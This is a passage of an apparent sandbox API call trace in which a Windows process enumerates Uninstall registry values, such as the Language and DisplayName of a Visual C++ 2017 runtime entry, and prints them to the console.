lpWideCharStr="0xe0a61b9", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xe0a61b9", lpUsedDefaultChar=0x0) returned 9 [0147.505] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.505] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.505] __iob_func () returned 0x7fefd702a80 [0147.505] _fileno (_File=0x7fefd702ab0) returned 1 [0147.505] _errno () returned 0xc4bb0 [0147.505] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.505] _errno () returned 0xc4bb0 [0147.505] GetFileType (hFile=0x50) returned 0x1 [0147.505] lstrlenW (lpString="\n") returned 1 [0147.505] GetConsoleOutputCP () returned 0x1b5 [0147.505] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.505] GetConsoleOutputCP () returned 0x1b5 [0147.505] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.505] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.505] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.505] GetProcessHeap () returned 0x2e0000 [0147.505] GetProcessHeap () returned 0x2e0000 [0147.505] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.505] GetProcessHeap () returned 0x2e0000 [0147.506] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.506] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.506] RegEnumValueW (in: hKey=0x5c, dwIndex=0x17, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Language", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.506] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.506] GetProcessHeap () returned 0x2e0000 [0147.506] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.506] GetProcessHeap () returned 0x2e0000 [0147.506] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.506] GetProcessHeap () returned 0x2e0000 [0147.506] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.506] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x409, pcbData=0x23f670*=0x4) returned 0x0 [0147.506] __iob_func () returned 0x7fefd702a80 [0147.506] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.506] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.506] _fileno (_File=0x7fefd702ab0) returned 1 [0147.506] _errno () returned 0xc4bb0 [0147.506] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.506] _errno () returned 0xc4bb0 [0147.506] GetFileType (hFile=0x50) returned 0x1 [0147.506] lstrlenW (lpString=" ") returned 4 [0147.506] GetConsoleOutputCP () returned 0x1b5 [0147.506] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.506] GetConsoleOutputCP () returned 0x1b5 [0147.506] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.506] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.506] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.507] lstrlenW (lpString="Language") returned 8 [0147.507] __iob_func () returned 0x7fefd702a80 [0147.507] _fileno (_File=0x7fefd702ab0) returned 1 [0147.507] _errno () returned 0xc4bb0 [0147.507] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.507] _errno () returned 0xc4bb0 [0147.507] GetFileType (hFile=0x50) returned 0x1 [0147.507] lstrlenW (lpString="Language") returned 8 [0147.507] GetConsoleOutputCP () returned 0x1b5 [0147.507] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.507] GetConsoleOutputCP () returned 0x1b5 [0147.507] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Language", lpUsedDefaultChar=0x0) returned 8 [0147.507] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.507] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.507] __iob_func () returned 0x7fefd702a80 [0147.507] _fileno (_File=0x7fefd702ab0) returned 1 [0147.507] _errno () returned 0xc4bb0 [0147.507] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.507] _errno () returned 0xc4bb0 [0147.507] GetFileType (hFile=0x50) returned 0x1 [0147.507] lstrlenW (lpString=" ") returned 4 [0147.507] GetConsoleOutputCP () returned 0x1b5 [0147.507] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.508] GetConsoleOutputCP () returned 0x1b5 [0147.508] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.508] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.508] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.508] __iob_func () returned 0x7fefd702a80 [0147.508] _fileno (_File=0x7fefd702ab0) returned 1 [0147.508] _errno () returned 0xc4bb0 [0147.508] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.508] _errno () returned 0xc4bb0 [0147.508] GetFileType (hFile=0x50) returned 0x1 [0147.508] lstrlenW (lpString="REG_DWORD") returned 9 [0147.508] GetConsoleOutputCP () returned 0x1b5 [0147.508] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.508] GetConsoleOutputCP () returned 0x1b5 [0147.508] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.508] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.508] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.508] __iob_func () returned 0x7fefd702a80 [0147.508] _fileno (_File=0x7fefd702ab0) returned 1 [0147.508] _errno () returned 0xc4bb0 [0147.508] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.508] _errno () returned 0xc4bb0 [0147.508] GetFileType (hFile=0x50) returned 0x1 [0147.509] lstrlenW (lpString=" ") returned 4 [0147.509] GetConsoleOutputCP () returned 0x1b5 [0147.509] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.509] GetConsoleOutputCP () returned 0x1b5 [0147.509] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.509] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.509] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.509] __iob_func () returned 0x7fefd702a80 [0147.509] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.509] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x409") returned 5 [0147.509] _fileno (_File=0x7fefd702ab0) returned 1 [0147.509] _errno () returned 0xc4bb0 [0147.509] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.509] _errno () returned 0xc4bb0 [0147.509] GetFileType (hFile=0x50) returned 0x1 [0147.509] lstrlenW (lpString="0x409") returned 5 [0147.509] GetConsoleOutputCP () returned 0x1b5 [0147.509] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x409", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0147.509] GetConsoleOutputCP () returned 0x1b5 [0147.510] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x409", cchWideChar=5, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x409", lpUsedDefaultChar=0x0) returned 5 [0147.510] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 5 [0147.510] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.510] __iob_func () returned 0x7fefd702a80 [0147.510] _fileno (_File=0x7fefd702ab0) returned 1 [0147.510] _errno () returned 0xc4bb0 [0147.510] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.510] _errno () returned 0xc4bb0 [0147.510] GetFileType (hFile=0x50) returned 0x1 [0147.510] lstrlenW (lpString="\n") returned 1 [0147.510] GetConsoleOutputCP () returned 0x1b5 [0147.510] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.510] GetConsoleOutputCP () returned 0x1b5 [0147.510] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.510] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.510] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.510] GetProcessHeap () returned 0x2e0000 [0147.510] GetProcessHeap () returned 0x2e0000 [0147.510] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.510] GetProcessHeap () returned 0x2e0000 [0147.510] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.510] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.510] RegEnumValueW (in: hKey=0x5c, dwIndex=0x18, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.511] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x7a) returned 0x0 [0147.511] GetProcessHeap () returned 0x2e0000 [0147.511] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x7c) returned 0x301970 [0147.511] GetProcessHeap () returned 0x2e0000 [0147.511] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x301970) returned 1 [0147.511] GetProcessHeap () returned 0x2e0000 [0147.511] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x301970) returned 0x7c [0147.511] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x301970, pcbData=0x23f670*=0x7a | out: pdwType=0x23f5f0*=0x1, pvData="Microsoft Visual C++ 2017 x64 Minimum Runtime - 14.10.25017", pcbData=0x23f670*=0x78) returned 0x0 [0147.511] __iob_func () returned 0x7fefd702a80 [0147.511] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.511] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.511] _fileno (_File=0x7fefd702ab0) returned 1 [0147.511] _errno () returned 0xc4bb0 [0147.511] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.511] _errno () returned 0xc4bb0 [0147.511] GetFileType (hFile=0x50) returned 0x1 [0147.511] lstrlenW (lpString=" ") returned 4 [0147.511] GetConsoleOutputCP () returned 0x1b5 [0147.511] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.511] GetConsoleOutputCP () returned 0x1b5 [0147.511] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.511] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.511] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.511] lstrlenW (lpString="DisplayName") returned 11 [0147.511] __iob_func () returned 0x7fefd702a80 [0147.511] _fileno (_File=0x7fefd702ab0) returned 1 [0147.511] _errno () returned 0xc4bb0 [0147.511] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.512] _errno () returned 0xc4bb0 [0147.512] GetFileType (hFile=0x50) returned 0x1 [0147.512] lstrlenW (lpString="DisplayName") returned 11 [0147.512] GetConsoleOutputCP () returned 0x1b5 [0147.512] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0147.512] GetConsoleOutputCP () returned 0x1b5 [0147.512] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0147.512] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0147.512] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.512] __iob_func () returned 0x7fefd702a80 [0147.512] _fileno (_File=0x7fefd702ab0) returned 1 [0147.512] _errno () returned 0xc4bb0 [0147.512] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.512] _errno () returned 0xc4bb0 [0147.512] GetFileType (hFile=0x50) returned 0x1 [0147.512] lstrlenW (lpString=" ") returned 4 [0147.512] GetConsoleOutputCP () returned 0x1b5 [0147.512] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.512] GetConsoleOutputCP () returned 0x1b5 [0147.512] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.513] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.513] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.513] __iob_func () returned 0x7fefd702a80 [0147.513] _fileno (_File=0x7fefd702ab0) returned 1 [0147.513] _errno () returned 0xc4bb0 [0147.513] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.513] _errno () returned 0xc4bb0 [0147.513] GetFileType (hFile=0x50) returned 0x1 [0147.513] lstrlenW (lpString="REG_SZ") returned 6 [0147.513] GetConsoleOutputCP () returned 0x1b5 [0147.513] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.513] GetConsoleOutputCP () returned 0x1b5 [0147.513] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.513] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.513] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.513] __iob_func () returned 0x7fefd702a80 [0147.513] _fileno (_File=0x7fefd702ab0) returned 1 [0147.513] _errno () returned 0xc4bb0 [0147.513] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.513] _errno () returned 0xc4bb0 [0147.513] GetFileType (hFile=0x50) returned 0x1 [0147.513] lstrlenW (lpString=" ") returned 4 [0147.513] GetConsoleOutputCP () returned 0x1b5 [0147.514] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.514] GetConsoleOutputCP () returned 0x1b5 [0147.514] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.514] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.514] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.514] __iob_func () returned 0x7fefd702a80 [0147.514] _fileno (_File=0x7fefd702ab0) returned 1 [0147.514] _errno () returned 0xc4bb0 [0147.514] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.514] _errno () returned 0xc4bb0 [0147.514] GetFileType (hFile=0x50) returned 0x1 [0147.514] lstrlenW (lpString="Microsoft Visual C++ 2017 x64 Minimum Runtime - 14.10.25017") returned 59 [0147.514] GetConsoleOutputCP () returned 0x1b5 [0147.514] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2017 x64 Minimum Runtime - 14.10.25017", cchWideChar=59, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 59 [0147.514] GetConsoleOutputCP () returned 0x1b5 [0147.514] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2017 x64 Minimum Runtime - 14.10.25017", cchWideChar=59, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Visual C++ 2017 x64 Minimum Runtime - 14.10.25017", lpUsedDefaultChar=0x0) returned 59 [0147.514] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 59 [0147.514] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.514] __iob_func () returned 0x7fefd702a80 [0147.514] _fileno (_File=0x7fefd702ab0) returned 1 [0147.514] _errno () returned 0xc4bb0 [0147.514] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.515] _errno () returned 0xc4bb0 [0147.515] GetFileType (hFile=0x50) returned 0x1 [0147.515] lstrlenW (lpString="\n") returned 1 [0147.515] GetConsoleOutputCP () returned 0x1b5 [0147.515] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.515] GetConsoleOutputCP () returned 0x1b5 [0147.515] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.515] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.515] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.515] GetProcessHeap () returned 0x2e0000 [0147.515] GetProcessHeap () returned 0x2e0000 [0147.515] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x301970) returned 1 [0147.515] GetProcessHeap () returned 0x2e0000 [0147.515] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x301970) returned 0x7c [0147.515] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x301970 | out: hHeap=0x2e0000) returned 1 [0147.515] __iob_func () returned 0x7fefd702a80 [0147.515] _fileno (_File=0x7fefd702ab0) returned 1 [0147.515] _errno () returned 0xc4bb0 [0147.515] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.515] _errno () returned 0xc4bb0 [0147.515] GetFileType (hFile=0x50) returned 0x1 [0147.515] lstrlenW (lpString="\n") returned 1 [0147.515] GetConsoleOutputCP () returned 0x1b5 [0147.515] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.516] GetConsoleOutputCP () returned 0x1b5 [0147.516] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.516] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.516] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.516] GetProcessHeap () returned 0x2e0000 [0147.516] GetProcessHeap () returned 0x2e0000 [0147.516] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0) returned 1 [0147.516] GetProcessHeap () returned 0x2e0000 [0147.516] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bc0) returned 0x28 [0147.516] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0 | out: hHeap=0x2e0000) returned 1 [0147.516] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x23f784, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x23f784*=0x0, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0147.516] GetProcessHeap () returned 0x2e0000 [0147.516] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fcda0 [0147.516] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}") returned 109 [0147.516] GetProcessHeap () returned 0x2e0000 [0147.516] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xde) returned 0x2ff9a0 [0147.516] GetProcessHeap () returned 0x2e0000 [0147.516] GetProcessHeap () returned 0x2e0000 [0147.516] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.516] GetProcessHeap () returned 0x2e0000 [0147.516] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x2 [0147.516] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.516] GetProcessHeap () returned 0x2e0000 [0147.516] GetProcessHeap () returned 0x2e0000 [0147.516] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0) returned 1 [0147.516] GetProcessHeap () returned 0x2e0000 [0147.516] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2ff9a0) returned 0xde [0147.516] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0 | out: hHeap=0x2e0000) returned 1 [0147.516] RegCloseKey (hKey=0x5c) returned 0x0 [0147.516] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x15, lpName=0x2fbb50, lpcchName=0x23f864, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-007E-0000-1000-0000000FF1CE}", lpcchName=0x23f864, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 